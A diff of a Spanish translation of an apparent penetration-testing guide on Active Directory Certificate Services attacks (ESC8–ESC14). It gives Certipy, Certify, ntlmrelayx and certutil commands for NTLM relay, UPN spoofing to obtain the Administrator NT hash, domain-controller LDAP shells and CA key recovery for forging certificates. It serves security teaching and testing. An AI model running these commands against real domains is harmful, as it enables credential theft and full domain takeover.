Sin embargo, esta limitación se supera explotando un NTLM relay attack para adquirir un certificado para el usuario, ya que el periodo de validez del certificado dicta la duración de la sesión, y el certificado puede ser empleado con servicios que **exigen NTLM signing**. Para instrucciones sobre cómo utilizar un certificado robado, consulte:
|
||||
No obstante, esta limitación se supera explotando un NTLM relay attack para obtener un certificado para el usuario, ya que el periodo de validez del certificado determina la duración de la sesión, y el certificado puede usarse con servicios que **requieren NTLM signing**. Para instrucciones sobre cómo utilizar un certificado robado, consúltese:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -405,13 +403,13 @@ Otra limitación de los NTLM relay attacks es que **una máquina controlada por
|
||||
|
||||
### **Abuso**
|
||||
|
||||
El comando `cas` de [**Certify**](https://github.com/GhostPack/Certify) enumera los endpoints HTTP de AD CS habilitados:
|
||||
[**Certify**](https://github.com/GhostPack/Certify) `cas` enumera los **endpoints HTTP de AD CS habilitados**:
|
||||
```
|
||||
Certify.exe cas
|
||||
```
|
||||
<figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
La propiedad `msPKI-Enrollment-Servers` es utilizada por las Autoridades de Certificación (CAs) empresariales para almacenar los endpoints del Certificate Enrollment Service (CES). Estos endpoints se pueden analizar y listar utilizando la herramienta **Certutil.exe**:
|
||||
La propiedad `msPKI-Enrollment-Servers` es utilizada por las Autoridades de Certificación (CAs) empresariales para almacenar los endpoints del Servicio de Inscripción de Certificados (CES). Estos endpoints pueden ser analizados y listados utilizando la herramienta **Certutil.exe**:
|
||||
```
|
||||
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
|
||||
```
|
||||
@ -439,9 +437,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
|
||||
```
|
||||
#### Abuso con [Certipy](https://github.com/ly4k/Certipy)
|
||||
|
||||
La solicitud de un certificado la realiza Certipy por defecto basándose en la plantilla `Machine` o `User`, determinada por si el nombre de la cuenta que se está reenviando termina en `$`. La especificación de una plantilla alternativa puede lograrse mediante el uso del parámetro `-template`.
|
||||
La solicitud de un certificado la hace Certipy por defecto basándose en la plantilla `Machine` o `User`, determinada por si el nombre de la cuenta que se está reenviando termina en `$`. La especificación de una plantilla alternativa se puede lograr mediante el uso del parámetro `-template`.
|
||||
|
||||
Se puede entonces emplear una técnica como [PetitPotam](https://github.com/ly4k/PetitPotam) para forzar la autenticación. Cuando se trabaja con controladores de dominio, es necesario especificar `-template DomainController`.
|
||||
Entonces se puede emplear una técnica como [PetitPotam](https://github.com/ly4k/PetitPotam) para forzar la autenticación. Cuando se trata de controladores de dominio, se requiere especificar `-template DomainController`.
|
||||
```bash
|
||||
certipy relay -ca ca.corp.local
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -458,40 +456,40 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
### Explicación
|
||||
|
||||
El nuevo valor **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) para **`msPKI-Enrollment-Flag`**, referido como ESC9, impide la inclusión de la **nueva extensión de seguridad `szOID_NTDS_CA_SECURITY_EXT`** en un certificado. Esta bandera se vuelve relevante cuando `StrongCertificateBindingEnforcement` está establecida en `1` (la configuración por defecto), en contraste con un ajuste de `2`. Su relevancia aumenta en escenarios donde se pueda explotar un mapeo de certificado más débil para Kerberos o Schannel (como en ESC10), dado que la ausencia de ESC9 no modificaría los requisitos.
|
||||
El nuevo valor **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) para **`msPKI-Enrollment-Flag`**, referido como ESC9, impide la incrustación de la **nueva extensión de seguridad `szOID_NTDS_CA_SECURITY_EXT`** en un certificado. Este flag cobra relevancia cuando `StrongCertificateBindingEnforcement` está configurado a `1` (ajuste por defecto), en contraste con un valor de `2`. Su importancia aumenta en escenarios donde podría explotarse un mapeo de certificado más débil para Kerberos o Schannel (como en ESC10), dado que la ausencia de ESC9 no alteraría los requisitos.
|
||||
|
||||
Las condiciones bajo las cuales la configuración de esta bandera se vuelve significativa incluyen:
|
||||
Las condiciones bajo las cuales la configuración de este flag se vuelve significativa incluyen:
|
||||
|
||||
- `StrongCertificateBindingEnforcement` no está ajustado a `2` (siendo el valor por defecto `1`), o `CertificateMappingMethods` incluye la bandera `UPN`.
|
||||
- El certificado está marcado con la bandera `CT_FLAG_NO_SECURITY_EXTENSION` dentro de la configuración `msPKI-Enrollment-Flag`.
|
||||
- Cualquier EKU de autenticación de cliente está especificado por el certificado.
|
||||
- Existen permisos `GenericWrite` sobre alguna cuenta para comprometer a otra.
|
||||
- `StrongCertificateBindingEnforcement` no está ajustado a `2` (siendo `1` el valor por defecto), o `CertificateMappingMethods` incluye el flag `UPN`.
|
||||
- El certificado está marcado con el flag `CT_FLAG_NO_SECURITY_EXTENSION` dentro de la configuración `msPKI-Enrollment-Flag`.
|
||||
- Cualquier EKU de client authentication está especificado por el certificado.
|
||||
- Se dispone de permisos `GenericWrite` sobre cualquier cuenta para comprometer a otra.
|
||||
|
||||
### Escenario de abuso
|
||||
|
||||
Supongamos que `John@corp.local` tiene permisos `GenericWrite` sobre `Jane@corp.local`, con el objetivo de comprometer `Administrator@corp.local`. La plantilla de certificado `ESC9`, en la que `Jane@corp.local` tiene permitido inscribirse, está configurada con la bandera `CT_FLAG_NO_SECURITY_EXTENSION` en su ajuste `msPKI-Enrollment-Flag`.
|
||||
Supongamos que `John@corp.local` tiene permisos `GenericWrite` sobre `Jane@corp.local`, con el objetivo de comprometer a `Administrator@corp.local`. La plantilla de certificado `ESC9`, en la que `Jane@corp.local` tiene permiso para enrollarse, está configurada con el flag `CT_FLAG_NO_SECURITY_EXTENSION` en su ajuste `msPKI-Enrollment-Flag`.
|
||||
|
||||
Inicialmente, se adquiere el hash de `Jane` usando Shadow Credentials, gracias al `GenericWrite` de `John`:
|
||||
Inicialmente, el hash de `Jane` se obtiene usando Shadow Credentials, gracias al `GenericWrite` de `John`:
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
||||
```
|
||||
Posteriormente, el `userPrincipalName` de `Jane` se modifica a `Administrator`, omitiendo deliberadamente la parte de dominio `@corp.local`:
|
||||
Posteriormente, el `userPrincipalName` de `Jane` se modifica a `Administrator`, omitiendo intencionadamente la parte de dominio `@corp.local`:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
Esta modificación no viola las restricciones, dado que `Administrator@corp.local` sigue siendo distinto como el `userPrincipalName` de `Administrator`.
|
||||
Esta modificación no viola las restricciones, dado que `Administrator@corp.local` sigue siendo distinto como el userPrincipalName de `Administrator`.
|
||||
|
||||
A continuación, la plantilla de certificado `ESC9`, marcada como vulnerable, se solicita como `Jane`:
|
||||
```bash
|
||||
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
|
||||
```
|
||||
Se observa que el `userPrincipalName` del certificado refleja `Administrator`, desprovisto de cualquier “object SID”.
|
||||
Se observa que el `userPrincipalName` del certificado refleja `Administrator`, sin ningún “object SID”.
|
||||
|
||||
El `userPrincipalName` de `Jane` se revierte entonces a su valor original, `Jane@corp.local`:
|
||||
Entonces se revierte el `userPrincipalName` de `Jane` a su valor original, `Jane@corp.local`:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
Intentar la autenticación con el certificado emitido ahora devuelve el hash NT de `Administrator@corp.local`. El comando debe incluir `-domain <domain>` debido a que el certificado no especifica el dominio:
|
||||
Intentar autenticarse con el certificado emitido ahora devuelve el NT hash de `Administrator@corp.local`. El comando debe incluir `-domain <domain>` debido a que el certificado no especifica el dominio:
|
||||
```bash
|
||||
certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||
```
|
||||
@ -499,10 +497,10 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||
|
||||
### Explicación
|
||||
|
||||
Dos valores de clave del registro en el domain controller son referidos por ESC10:
|
||||
ESC10 hace referencia a dos valores de clave del registro en el controlador de dominio:
|
||||
|
||||
- El valor predeterminado para `CertificateMappingMethods` bajo `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` es `0x18` (`0x8 | 0x10`), anteriormente establecido en `0x1F`.
|
||||
- La configuración predeterminada para `StrongCertificateBindingEnforcement` bajo `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` es `1`, anteriormente `0`.
|
||||
- El valor por defecto para `CertificateMappingMethods` bajo `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` es `0x18` (`0x8 | 0x10`), previamente establecido en `0x1F`.
|
||||
- La configuración por defecto para `StrongCertificateBindingEnforcement` bajo `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` es `1`, previamente `0`.
|
||||
|
||||
**Caso 1**
|
||||
|
||||
@ -516,33 +514,33 @@ Si `CertificateMappingMethods` incluye el bit `UPN` (`0x4`).
|
||||
|
||||
Con `StrongCertificateBindingEnforcement` configurado como `0`, una cuenta A con permisos `GenericWrite` puede ser explotada para comprometer cualquier cuenta B.
|
||||
|
||||
Por ejemplo, teniendo permisos `GenericWrite` sobre `Jane@corp.local`, un atacante pretende comprometer `Administrator@corp.local`. El procedimiento refleja ESC9, permitiendo que se utilice cualquier plantilla de certificado.
|
||||
Por ejemplo, teniendo permisos `GenericWrite` sobre `Jane@corp.local`, un atacante apunta a comprometer `Administrator@corp.local`. El procedimiento es análogo a ESC9, permitiendo utilizar cualquier plantilla de certificado.
|
||||
|
||||
Inicialmente, el hash de `Jane` se recupera usando Shadow Credentials, explotando el `GenericWrite`.
|
||||
Inicialmente, se obtiene el hash de `Jane` usando Shadow Credentials, explotando el `GenericWrite`.
|
||||
```bash
|
||||
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
|
||||
```
|
||||
Posteriormente, el `userPrincipalName` de `Jane` se cambia a `Administrator`, omitiendo deliberadamente la parte `@corp.local` para evitar una violación de la restricción.
|
||||
Posteriormente, se modifica el `userPrincipalName` de `Jane` a `Administrator`, omitiendo deliberadamente la porción `@corp.local` para evitar una violación de una restricción.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
A continuación, se solicita un certificado que habilita la autenticación de cliente como `Jane`, utilizando la plantilla predeterminada `User`.
|
||||
A continuación, se solicita un certificado que habilita la autenticación de cliente como `Jane`, usando la plantilla predeterminada `User`.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
El `userPrincipalName` de `Jane` se restaura a su valor original, `Jane@corp.local`.
|
||||
El `userPrincipalName` de `Jane` se restaura luego a su valor original, `Jane@corp.local`.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
Al autenticarse con el certificado obtenido se obtendrá el NT hash de `Administrator@corp.local`, por lo que es necesario especificar el dominio en el comando, ya que el certificado no incluye los detalles del dominio.
|
||||
Autenticarse con el certificado obtenido producirá el NT hash de `Administrator@corp.local`, por lo que es necesario especificar el dominio en el comando debido a la ausencia de información del dominio en el certificado.
|
||||
```bash
|
||||
certipy auth -pfx administrator.pfx -domain corp.local
|
||||
```
|
||||
### Caso de abuso 2
|
||||
|
||||
Con la bandera de bit `UPN` en `CertificateMappingMethods` (`0x4`), una cuenta A con permisos `GenericWrite` puede comprometer cualquier cuenta B que carezca de la propiedad `userPrincipalName`, incluidas cuentas de máquina y el administrador de dominio integrado `Administrator`.
|
||||
Con `CertificateMappingMethods` que contiene la bandera de bit `UPN` (`0x4`), una cuenta A con permisos `GenericWrite` puede comprometer cualquier cuenta B que carezca de la propiedad `userPrincipalName`, incluyendo cuentas de máquina y el administrador de dominio integrado `Administrator`.
|
||||
|
||||
Aquí, el objetivo es comprometer a `DC$@corp.local`, empezando por obtener el hash de `Jane` a través de Shadow Credentials, aprovechando el `GenericWrite`.
|
||||
Aquí, el objetivo es comprometer `DC$@corp.local`, empezando por obtener el hash de `Jane` mediante Shadow Credentials, aprovechando el `GenericWrite`.
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
||||
```
|
||||
@ -550,31 +548,31 @@ El `userPrincipalName` de `Jane` se establece entonces en `DC$@corp.local`.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
|
||||
```
|
||||
Se solicita un certificado para autenticación de cliente como `Jane` usando la plantilla predeterminada `User`.
|
||||
Se solicita un certificado de autenticación de cliente como `Jane` usando la plantilla predeterminada `User`.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
El `userPrincipalName` de `Jane` se restaura a su valor original después de este proceso.
|
||||
El `userPrincipalName` de `Jane` se restablece a su valor original después de este proceso.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
|
||||
```
|
||||
Para autenticarse vía Schannel, se utiliza la opción `-ldap-shell` de Certipy, indicando el éxito de la autenticación como `u:CORP\DC$`.
|
||||
Para autenticarse a través de Schannel, se utiliza la opción `-ldap-shell` de Certipy, indicando el éxito de la autenticación como `u:CORP\DC$`.
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
A través del shell LDAP, comandos como `set_rbcd` permiten ataques Resource-Based Constrained Delegation (RBCD), comprometiendo potencialmente el controlador de dominio.
|
||||
A través del LDAP shell, comandos como `set_rbcd` permiten Resource-Based Constrained Delegation (RBCD) attacks, lo que puede comprometer el domain controller.
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
Esta vulnerabilidad también afecta a cualquier cuenta de usuario que carezca de un `userPrincipalName` o en la que este no coincida con el `sAMAccountName`, siendo la cuenta por defecto `Administrator@corp.local` un objetivo principal debido a sus privilegios LDAP elevados y a la ausencia de un `userPrincipalName` por defecto.
|
||||
Esta vulnerabilidad también se extiende a cualquier cuenta de usuario que carezca de un `userPrincipalName` o cuando este no coincida con el `sAMAccountName`, siendo la cuenta por defecto `Administrator@corp.local` un objetivo principal debido a sus privilegios LDAP elevados y a la ausencia por defecto de un `userPrincipalName`.
|
||||
|
||||
## Relaying NTLM to ICPR - ESC11
|
||||
## Reenvío de NTLM a ICPR - ESC11
|
||||
|
||||
### Explicación
|
||||
|
||||
If CA Server Do not configured with `IF_ENFORCEENCRYPTICERTREQUEST`, it can be makes NTLM relay attacks without signing via RPC service. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
Si el servidor CA no está configurado con `IF_ENFORCEENCRYPTICERTREQUEST`, permite realizar ataques de relé NTLM sin firma a través del servicio RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
|
||||
Puedes usar `certipy` para enumerar si `Enforce Encryption for Requests` está Disabled y certipy mostrará las vulnerabilidades `ESC11`.
|
||||
Puedes usar `certipy` para enumerar si `Enforce Encryption for Requests` está deshabilitado y `certipy` mostrará vulnerabilidades `ESC11`.
|
||||
```bash
|
||||
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -593,7 +591,7 @@ ESC11 : Encryption is not enforced for ICPR requests
|
||||
```
|
||||
### Escenario de abuso
|
||||
|
||||
Es necesario configurar un servidor relay:
|
||||
Se necesita configurar un servidor relay:
|
||||
```bash
|
||||
$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
|
||||
Certipy v4.7.0 - by Oliver Lyak (ly4k)
|
||||
@ -612,7 +610,7 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
[*] Exiting...
|
||||
```
|
||||
Nota: Para domain controllers, debemos especificar `-template` en DomainController.
|
||||
Nota: Para los controladores de dominio, debemos especificar `-template` en DomainController.
|
||||
|
||||
O usando [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) :
|
||||
```bash
|
||||
@ -620,21 +618,21 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
|
||||
```
|
||||
## Shell access to ADCS CA with YubiHSM - ESC12
|
||||
|
||||
### Explanation
|
||||
### Explicación
|
||||
|
||||
Los administradores pueden configurar la Autoridad de Certificación para almacenarla en un dispositivo externo como el "Yubico YubiHSM2".
|
||||
Los administradores pueden configurar la Autoridad de Certificación (CA) para almacenarla en un dispositivo externo como el "Yubico YubiHSM2".
|
||||
|
||||
Si un dispositivo USB está conectado al servidor CA a través de un puerto USB, o a un USB device server en caso de que el servidor CA sea una virtual machine, se requiere una authentication key (a veces denominada "password") para que el Key Storage Provider genere y utilice claves en el YubiHSM.
|
||||
Si el dispositivo USB está conectado al servidor CA mediante un puerto USB, o a través de un USB device server en caso de que el servidor CA sea una máquina virtual, se requiere una clave de autenticación (a veces denominada "password") para que el Key Storage Provider genere y utilice claves en el YubiHSM.
|
||||
|
||||
Esta key/password se almacena en el registro bajo `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` en cleartext.
|
||||
Esta clave/password se almacena en el registro bajo `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` en texto sin cifrar.
|
||||
|
||||
Referencia en [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
|
||||
Referencia en [aquí](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
|
||||
|
||||
### Abuse Scenario
|
||||
### Escenario de abuso
|
||||
|
||||
Si la private key de la CA está almacenada en un dispositivo USB físico cuando obtuviste shell access, es posible recuperar la clave.
|
||||
Si la clave privada de la CA está almacenada en un dispositivo USB físico cuando obtienes shell access, es posible recuperar la clave.
|
||||
|
||||
En primer lugar, necesitas obtener el certificado de la CA (esto es público) y luego:
|
||||
Primero, necesitas obtener el certificado de la CA (esto es público) y luego:
|
||||
```cmd
|
||||
# import it to the user store with CA certificate
|
||||
$ certutil -addstore -user my <CA certificate file>
|
||||
@ -642,15 +640,15 @@ $ certutil -addstore -user my <CA certificate file>
|
||||
# Associated with the private key in the YubiHSM2 device
|
||||
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
|
||||
```
|
||||
Finalmente, usa el comando certutil `-sign` para forjar un nuevo certificado arbitrario usando el certificado CA y su clave privada.
|
||||
Finally, use the certutil `-sign` command to forge a new arbitrary certificate using the CA certificate and its private key.
|
||||
|
||||
## OID Group Link Abuse - ESC13
|
||||
|
||||
### Explicación
|
||||
|
||||
El atributo `msPKI-Certificate-Policy` permite añadir la política de emisión a la plantilla de certificado. Los objetos `msPKI-Enterprise-Oid` responsables de emitir políticas pueden descubrirse en el Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) del contenedor PKI OID. Una política puede vincularse a un grupo AD usando el atributo `msDS-OIDToGroupLink` de este objeto, permitiendo que un sistema autorice a un usuario que presente el certificado como si fuera miembro del grupo. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
El atributo `msPKI-Certificate-Policy` permite que la política de emisión se agregue a la plantilla de certificado. Los objetos `msPKI-Enterprise-Oid` responsables de emitir políticas pueden descubrirse en el Contexto de nombres de configuración (CN=OID,CN=Public Key Services,CN=Services) del contenedor PKI OID. Una política puede vincularse a un grupo de AD mediante el atributo `msDS-OIDToGroupLink` de este objeto, permitiendo que un sistema autorice a un usuario que presente el certificado como si fuera miembro del grupo. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
|
||||
En otras palabras, cuando un usuario tiene permiso para inscribir un certificado y el certificado está vinculado a un grupo OID, el usuario puede heredar los privilegios de dicho grupo.
|
||||
En otras palabras, cuando un usuario tiene permiso para solicitar un certificado y el certificado está vinculado a un grupo OID, el usuario puede heredar los privilegios de ese grupo.
|
||||
|
||||
Usa [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) para encontrar OIDToGroupLink:
|
||||
```bash
|
||||
@ -676,9 +674,9 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
|
||||
```
|
||||
### Escenario de abuso
|
||||
|
||||
Encuentra un permiso de usuario que pueda usar con `certipy find` o `Certify.exe find /showAllPermissions`.
|
||||
Encuentra un permiso de usuario que pueda usar `certipy find` o `Certify.exe find /showAllPermissions`.
|
||||
|
||||
Si `John` tiene permiso para inscribir `VulnerableTemplate`, el usuario puede heredar los privilegios del grupo `VulnerableGroup`.
|
||||
Si `John` tiene permiso para solicitar la plantilla `VulnerableTemplate`, el usuario puede heredar los privilegios del grupo `VulnerableGroup`.
|
||||
|
||||
Todo lo que necesita hacer es especificar la plantilla; obtendrá un certificado con derechos OIDToGroupLink.
|
||||
```bash
|
||||
@ -688,35 +686,35 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target
|
||||
|
||||
### Explicación
|
||||
|
||||
La descripción en https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping es notablemente completa. A continuación se cita el texto original.
|
||||
La descripción en https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping es notablemente exhaustiva. A continuación se reproduce una cita del texto original.
|
||||
|
||||
ESC14 aborda vulnerabilidades derivadas de la "weak explicit certificate mapping", principalmente por el uso indebido o la configuración insegura del atributo `altSecurityIdentities` en cuentas de usuario o equipo de Active Directory. Este atributo multivalor permite a los administradores asociar manualmente certificados X.509 con una cuenta AD para propósitos de autenticación. Cuando está poblado, estos mapeos explícitos pueden reemplazar la lógica de mapeo de certificados por defecto, que típicamente se basa en UPNs o DNS names en el SAN del certificado, o en el SID incrustado en la extensión de seguridad `szOID_NTDS_CA_SECURITY_EXT`.
|
||||
ESC14 aborda vulnerabilidades derivadas del "mapeo explícito débil de certificados", principalmente por el uso indebido o la configuración insegura del atributo `altSecurityIdentities` en cuentas de usuario o equipo de Active Directory. Este atributo multivalor permite a los administradores asociar manualmente certificados X.509 con una cuenta AD para fines de autenticación. Cuando está poblado, estos mapeos explícitos pueden anular la lógica de mapeo de certificados por defecto, que típicamente se basa en UPNs o nombres DNS en el SAN del certificado, o en el SID incrustado en la extensión de seguridad `szOID_NTDS_CA_SECURITY_EXT`.
|
||||
|
||||
Un mapeo "débil" ocurre cuando el valor string usado dentro del atributo `altSecurityIdentities` para identificar un certificado es demasiado amplio, fácilmente adivinable, depende de campos no únicos del certificado, o utiliza componentes del certificado que son fáciles de falsificar. Si un atacante puede obtener o fabricar un certificado cuyos atributos coincidan con un mapeo explícito débilmente definido para una cuenta privilegiada, puede usar ese certificado para autenticarse e impersonar dicha cuenta.
|
||||
Un mapeo "débil" ocurre cuando el valor de cadena usado dentro del atributo `altSecurityIdentities` para identificar un certificado es demasiado amplio, fácilmente adivinable, depende de campos no únicos del certificado o utiliza componentes del certificado que son fácilmente suplantables. Si un atacante puede obtener o crear un certificado cuyos atributos coincidan con un mapeo explícito débilmente definido para una cuenta privilegiada, puede usar ese certificado para autenticarse e impostar esa cuenta.
|
||||
|
||||
Ejemplos de strings de mapeo potencialmente débiles en `altSecurityIdentities` incluyen:
|
||||
Ejemplos de cadenas de mapeo `altSecurityIdentities` potencialmente débiles incluyen:
|
||||
|
||||
- Mapeo únicamente por un Subject Common Name (CN) común: p. ej., `X509:<S>CN=SomeUser`. Un atacante podría obtener un certificado con ese CN desde una fuente menos segura.
|
||||
- Uso de Issuer Distinguished Names (DNs) o Subject DNs demasiado genéricos sin más calificaciones como un número de serie específico o subject key identifier: p. ej., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
|
||||
- Empleo de otros patrones predecibles o identificadores no criptográficos que un atacante podría satisfacer en un certificado que pueda obtener legítimamente o forjar (si ha comprometido una CA o encontrado una plantilla vulnerable como en ESC1).
|
||||
- Uso de Issuer Distinguished Names (DNs) o Subject DNs excesivamente genéricos sin calificación adicional como un número de serie específico o un subject key identifier: p. ej., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
|
||||
- Empleo de otros patrones previsibles o identificadores no criptográficos que un atacante podría satisfacer en un certificado que pueda obtener legítimamente o forjar (si ha comprometido una CA o encontrado una plantilla vulnerable como en ESC1).
|
||||
|
||||
El atributo `altSecurityIdentities` soporta varios formatos para el mapeo, tales como:
|
||||
El atributo `altSecurityIdentities` admite varios formatos para el mapeo, tales como:
|
||||
|
||||
- `X509:<I>IssuerDN<S>SubjectDN` (mapea por Issuer y Subject DN completos)
|
||||
- `X509:<SKI>SubjectKeyIdentifier` (mapea por el valor de la extensión Subject Key Identifier del certificado)
|
||||
- `X509:<SR>SerialNumberBackedByIssuerDN` (mapea por número de serie, implícitamente calificado por el Issuer DN) - esto no es un formato estándar, usualmente es `<I>IssuerDN<SR>SerialNumber`.
|
||||
- `X509:<RFC822>EmailAddress` (mapea por un nombre RFC822, típicamente un correo, desde el SAN)
|
||||
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (mapea por un hash SHA1 de la raw public key del certificado - generalmente fuerte)
|
||||
- `X509:<SR>SerialNumberBackedByIssuerDN` (mapea por número de serie, implícitamente calificado por el Issuer DN) - esto no es un formato estándar, normalmente es `<I>IssuerDN<SR>SerialNumber`.
|
||||
- `X509:<RFC822>EmailAddress` (mapea por un nombre RFC822, típicamente una dirección de email, del SAN)
|
||||
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (mapea por un hash SHA1 de la clave pública cruda del certificado - generalmente fuerte)
|
||||
|
||||
La seguridad de estos mapeos depende en gran medida de la especificidad, unicidad y fortaleza criptográfica de los identificadores de certificado elegidos en el string de mapeo. Incluso con modos de enlace de certificados fuertes habilitados en los Domain Controllers (que afectan principalmente a los mapeos implícitos basados en SAN UPNs/DNS y la extensión SID), una entrada `altSecurityIdentities` mal configurada aún puede presentar una vía directa para la suplantación si la lógica de mapeo en sí es defectuosa o demasiado permisiva.
|
||||
La seguridad de estos mapeos depende en gran medida de la especificidad, unicidad y fuerza criptográfica de los identificadores de certificado elegidos en la cadena de mapeo. Incluso con modos de vinculación de certificados fuertes habilitados en los Domain Controllers (que afectan principalmente a mapeos implícitos basados en SAN UPNs/DNS y la extensión SID), una entrada `altSecurityIdentities` mal configurada todavía puede presentar una vía directa para la suplantación si la propia lógica de mapeo es defectuosa o demasiado permisiva.
|
||||
|
||||
### Escenario de abuso
|
||||
|
||||
ESC14 se dirige a los **explicit certificate mappings** en Active Directory (AD), específicamente al atributo `altSecurityIdentities`. Si este atributo está establecido (por diseño o por misconfiguración), los atacantes pueden suplantar cuentas presentando certificados que coincidan con el mapeo.
|
||||
ESC14 se dirige a los mapeos explícitos de certificados en Active Directory (AD), específicamente al atributo `altSecurityIdentities`. Si este atributo está establecido (por diseño o mala configuración), los atacantes pueden suplantar cuentas presentando certificados que coincidan con el mapeo.
|
||||
|
||||
#### Scenario A: Attacker Can Write to `altSecurityIdentities`
|
||||
#### Escenario A: El atacante puede escribir en `altSecurityIdentities`
|
||||
|
||||
**Precondición**: El atacante tiene permisos de escritura sobre el atributo `altSecurityIdentities` de la cuenta objetivo o el permiso para otorgarlo en la forma de uno de los siguientes permisos sobre el objeto AD objetivo:
|
||||
**Precondición**: El atacante tiene permisos de escritura en el atributo `altSecurityIdentities` de la cuenta objetivo o el permiso para otorgarlo en forma de uno de los siguientes permisos sobre el objeto AD objetivo:
|
||||
- Write property `altSecurityIdentities`
|
||||
- Write property `Public-Information`
|
||||
- Write property (all)
|
||||
@ -726,17 +724,17 @@ ESC14 se dirige a los **explicit certificate mappings** en Active Directory (AD)
|
||||
- `GenericAll`
|
||||
- Owner*.
|
||||
|
||||
#### Scenario B: Target Has Weak Mapping via X509RFC822 (Email)
|
||||
#### Escenario B: El objetivo tiene un mapeo débil vía X509RFC822 (Email)
|
||||
|
||||
- **Precondición**: El objetivo tiene un mapeo X509RFC822 débil en altSecurityIdentities. Un atacante puede establecer el atributo mail de la víctima para que coincida con el nombre X509RFC822 del objetivo, solicitar/inscribirse por un certificado como la víctima y usarlo para autenticarse como el objetivo.
|
||||
- **Precondición**: El objetivo tiene un mapeo X509RFC822 débil en altSecurityIdentities. Un atacante puede establecer el atributo mail de la víctima para que coincida con el nombre X509RFC822 del objetivo, inscribir un certificado como la víctima y usarlo para autenticarse como el objetivo.
|
||||
|
||||
#### Scenario C: Target Has X509IssuerSubject Mapping
|
||||
#### Escenario C: El objetivo tiene un mapeo X509IssuerSubject
|
||||
|
||||
- **Precondición**: El objetivo tiene un mapeo explícito X509IssuerSubject débil en `altSecurityIdentities`. El atacante puede establecer el atributo `cn` o `dNSHostName` en un principal víctima para que coincida con el subject del mapeo X509IssuerSubject del objetivo. Luego, el atacante puede inscribirse por un certificado como la víctima y usar ese certificado para autenticarse como el objetivo.
|
||||
